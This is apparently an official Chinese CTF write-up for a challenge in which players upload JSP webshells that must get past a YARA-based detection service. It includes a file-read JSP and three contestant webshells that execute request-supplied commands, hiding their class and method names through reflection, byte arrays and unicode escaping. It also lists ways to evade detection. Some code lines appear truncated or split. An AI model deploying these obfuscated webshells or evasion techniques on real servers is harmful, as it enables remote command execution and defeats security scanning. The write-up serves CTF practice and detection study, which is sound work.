Webshell

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

出题思路

本地旨在模拟一个云环境的漏洞利用场景,难度设计为签到难度,但希望能尽量逼近云环境。

所以基于yara和一些动态检测规则,构造了一个webshell检测的环境。

  1. 检测端:部署yara及动态检测,提供api用于webshell检测服务

  2. 为保证选手解题体验,选手端独立部署

  3. 选手上传webshell,后台上传至检测端,并根据检测结果打印回显

  4. 考虑到在云场景中使用比php多,本题使用jsp

为避免过多误报,检测规则不能设计得过于严格,同时预留了一些允许命令执行的函数以降低难度,因此也会存在多种解法。

解题思路

随便上传一个kali下自带的webshell,会收到回显it's a webshell, hacker!

经过多次尝试题目好像没有限制任意文件读

上传以下文件,可以读取到upload.jsp文件内容

1
2
3
4
5
6
7
8
9
<%@ page import = ".io.*"%>
<%
File f = new File(application.getRealPath(""), "upload.jsp");
FileReader fr = new FileReader(f);
char data[] = new char[(int) f.length()];
int charsread = fr.read(data);
String s = new String(data, 0 , charsread);
%>
<%=s %>

发现upload.jsp上传的文件传到了一个另一个地方进行检测

无法直接读取/flag

因此考虑绕过webshell检测,上传一个可以命令执行的webshell

绕过方式包括且不限于:

  1. 使用未被过滤的函数

  2. 不通过webshell自身绕过,通过一些非正常行为绕过检测端,例如并发操作等

  3. 绕过后台检测工具特性,例如发送一些特殊字符,使其对后续字符不再检测

  4. 使后台检测工具无法检测,但jsp可以正常理解,例如编码等

以下是一些选手的样本:

1
2
3
<%=new String(((Process)Runtime.class.getMethods()[12].invoke(Runti
me.getRuntime(), "cat /flag")).getInputStream().readAllBytes())%>
<%@ page contentType="text/html;charset=UTF-8" language="" %>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97,
46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120,
101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103,
101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null),
request.getParameter("cmd") );
.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
</pre>");
}
%>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<jsp:let>
if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u006
1\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){
\u0050\u0072\u006f\u0063\u0065\u0073\u0073 p =
\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u
0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u00
6d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(\u0072\u0065\u0071\u0075\u006
5\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\
u0065\u0072("cmd"));
\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u
0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream();
\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u
0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream();
\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u
006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new
.io.DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"
);
</jsp:let>